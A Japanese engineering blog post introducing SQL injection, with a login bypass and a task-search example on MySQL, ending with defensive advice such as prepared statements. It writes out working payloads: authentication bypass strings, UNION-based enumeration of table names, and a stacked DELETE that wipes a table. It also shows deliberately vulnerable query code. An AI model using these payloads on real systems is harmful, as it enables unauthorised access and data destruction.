今更だけど知っておきたいSQLインジェクション入門

AvatarPosted by

この記事は GRIPHONE Advent Calendar 2019 22日目の記事です。

CTOの川村です。『サイバー攻撃』と言われて皆さんは何を思い浮かべるでしょうか?
今回は代表的な手法の一つであるSQLインジェクションについて書きたいと思います。

SQLインジェクションとは?

SQLインジェクション(英: SQL Injection)とは、アプリケーションのセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。また、その攻撃を可能とする脆弱性のことである。
SQLに別のSQL文が「注入 (inject)」されることから、「ダイレクトSQLコマンドインジェクション」もしくは「SQL注入」と呼ばれることもある。
※出展:wikipedia

SQLインジェクションによってどんな事故が起こり得るのか?例を見ていきましょう。(DBはMySQLを使用します。)

SQLインジェクションで不正な操作例①

このようなログイン機能があったとします。本来であれば、E-mailとパスワードの組み合わせが正しくなければログイン出来ません。
しかし、セキュリティに穴がある場合、SQLインジェクションによって不正な組み合わせでもログイン出来てしまいます。

このログイン機能では、下記のように入力値をそのままクエリに入れています。
そのせいで、セキュリティに穴が空いてしまいます。

SELECT id FROM user where email='{$email}’ AND password='{$password}’

このような実装をしてしまうと、パスワードをどんなに複雑な文字列にしても、全く意味がありません。

攻撃方法①

例えば、パスワードに『’ OR ‘A’=’A』と入力すると、ログイン出来てしまいます。(文字列のクォートに『”』が使われている場合は『” OR “A”=”A』)

この時、下記のようなクエリが流れることとなります。

SELECT id FROM user where email=’hoge@fuga.co.jp’ AND password=” OR ‘A’=’A’

ORの後ろ、『’A’=’A’』は常に真になり、データが取得出来てしまいます。

攻撃方法②

メールアドレスに『’ OR ‘A’=’A’#』と入力した場合も、ログイン出来てしまいます。パスワードの入力値は何でもOKです。

この時、下記のようなクエリが流れます。

SELECT id FROM user where email=” OR ‘A’=’A’#’ AND password=’aaaa’ OR ‘A’=’A’

先ほどの例と同じく、『’A’=’A’』は常に真になり、かつ『#』でコメントアウトすることで、それ以降のクエリ内容を無効にしています。

上の例では、userテーブルの最初のレコードを取得することになります。
OFFSETで取得開始位置を指定することで、2番目以降のレコードを取得することが出来るので、結果的にどのユーザーとしてもログイン出来ることになります。

例えば、『’ OR ‘A’=’A’ LIMIT 1 OFFSET 10#』のように入力すると、11番目のユーザーとしてログインすることとなります。

SELECT id FROM user where email=” OR ‘A’=’A’ LIMIT 1 OFFSET 10#’ AND password=’aaaa’ OR ‘A’=’A’

SQLインジェクションで不正な操作例②

このようなタスクを管理するツールで、検索機能があるとします。この検索部分に脆弱性を埋め込んでみます。

この検索機能も、先程の例と同じように入力値をそのままクエリに入れています。

SELECT * FROM tasks WHERE subject LIKE ‘%{$search_word}%’ ORDER BY id DESC

色々出来てしまいますが、例として登録されているタスクを全て消してみましょう
タスクを消すと言っても、このシステムの開発者でなければタスクが登録されているテーブル名を知らないはずです。そこで、まずテーブル名を探るところから始めます。

テーブル名を探る

テーブルのリストは、下記のクエリで得られることは分かっています。

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

先程のテーブルリストを、『UNION』によってタスクリストと結合させれば、タスク名の一覧部分にテーブル名を表示することが出来ます。

まずは検索窓に『’ UNION select TABLE_NAME FROM INFORMATION_SCHEMA.TABLES #』と入力して検索してみます。

SELECT * FROM tasks WHERE subject LIKE ‘%’ UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES # %’ ORDER BY id DESC

タスクは表示されませんでした。
それもそのはず、『UNION』は結合するテーブル同士のカラムの数が一致していなければならない、という条件があるため、先程のクエリはエラーとなっています。
そこで、カラムの数を特定するため、
『’ UNION select 1 FROM INFORMATION_SCHEMA.TABLES #』
『’ UNION select 1, 2 FROM INFORMATION_SCHEMA.TABLES #』
『’ UNION select 1, 2, 3 FROM INFORMATION_SCHEMA.TABLES #』
『’ UNION select 1, 2, 3, 4 FROM INFORMATION_SCHEMA.TABLES #』
    ・
    ・
    ・
という風に、カラムの数を増やしていきます。
すると、カラムを8個にした際にこのような表示となりました。
『’ UNION select 1, 2, 3, 4, 5, 6, 7, 8 FROM INFORMATION_SCHEMA.TABLES #』

SELECT * FROM tasks WHERE subject LIKE ‘%’ UNION select 1, 2, 3, 4, 5, 6, 7, 8 FROM INFORMATION_SCHEMA.TABLES # %’ ORDER BY id DESC

この表示から、先程のクエリで取得されているカラムの数は8個で、2番目のカラムがタスク名である、ということが分かりました。
そこで、次は入力値を
『’ UNION select 1, TABLE_NAME, 3, 4, 5, 6, 7, 8 FROM INFORMATION_SCHEMA.TABLES #』
としてみます。

SELECT * FROM tasks WHERE subject LIKE ‘%’ UNION select 1, TABLE_NAME, 3, 4, 5, 6, 7, 8 FROM INFORMATION_SCHEMA.TABLES # %’ ORDER BY id DESC

テーブルの一覧が表示されてしまいました。

一覧から、タスクが登録されているテーブルは『tasks』ではないか?と予想します。
tasksの中身を『UNION ALL』で結合して確認してみましょう。(重複行が省略されないほうが分かりやすいのでUNION ALLにします。)
入力値は『’ UNION ALL select * FROM tasks #』です。

SELECT * FROM tasks WHERE subject LIKE ‘%’ UNION ALL select * FROM tasks # %’ ORDER BY id DESC

タスクが表示されたので、タスクが登録されているテーブルは『tasks』で間違い無さそうです。
最終的な目的はタスクを全て消すことでした。
検索窓に『’; DELETE FROM tasks #』と入力します。

SELECT * FROM tasks WHERE subject LIKE ‘%’; DELETE FROM tasks # %’ ORDER BY id DESC

全てのタスクが消されてしまいました。。

まとめ

この記事ではSQLインジェクションの発生例について書きました。
SQLインジェクションはとても危険ですね!

受け取ったパラメータをそのままクエリに組み込むことがいかに危険かが分かります。
入力値のバリデーション、エスケープは必須です。とにかく、入力値は信用しない。リクエストの改ざんも簡単に出来ますし。
1つ目のログイン操作の例ではパスワードを平文で保存してしまっていますが、ハッシュ値に変換して保存する実装にすれば、クエリに組み込む前に入力値を別の文字列に変換するため、このような攻撃は通用しなくなります。いずれにせよパスワードの平文保存が危険だというのは皆さん理解されていることかと思います。
同時に、プレースホルダー、プリペアードステートメントの使用も必須です。
ORMを使うことで防ぐことも出来ると思いますが、パフォーマンスやクエリの柔軟性が欲しくて生のクエリをたまに書く…みたいな時にうっかり脆弱な書き方をしてしまわないよう、注意が必要です。

今回はかなりマズい、今どきのエンジニアの皆さんであればありえないであろう実装方法で、発生過程も非常に分かりやすいですが、セカンドオーダーSQLインジェクション、ブラインドSQLインジェクション、マルチバイト文字列等、発生原因は他にも様々です。
弊グループでは自分達で脆弱性を潰し切れていない可能性を考慮し、サービスリリース前に必ずセキュリティ監査会社の脆弱性診断をクリアすることが義務付けられていたりします。

サービスとユーザー様を守るため、セキュリティには十分気をつけていきましょう!

参考

先日、社内のエンジニアイベント(完全社内限定)でセキュリティコンテストのようなものを実施しました。今回の記事は、そのイベントで使用した題材に関連した内容になります。

セキュリティコンテストの内容ですが、2019年3月のphperkaigiで実施された『PHPerチャレンジ「徳丸 浩の挑戦状」』をかなり参考に(というかそのまま真似させていただいた部分もあったのですが)作成しました。

こちら徳丸さんによるPHPerチャレンジ解説動画です。興味が湧いた方は是非御覧ください。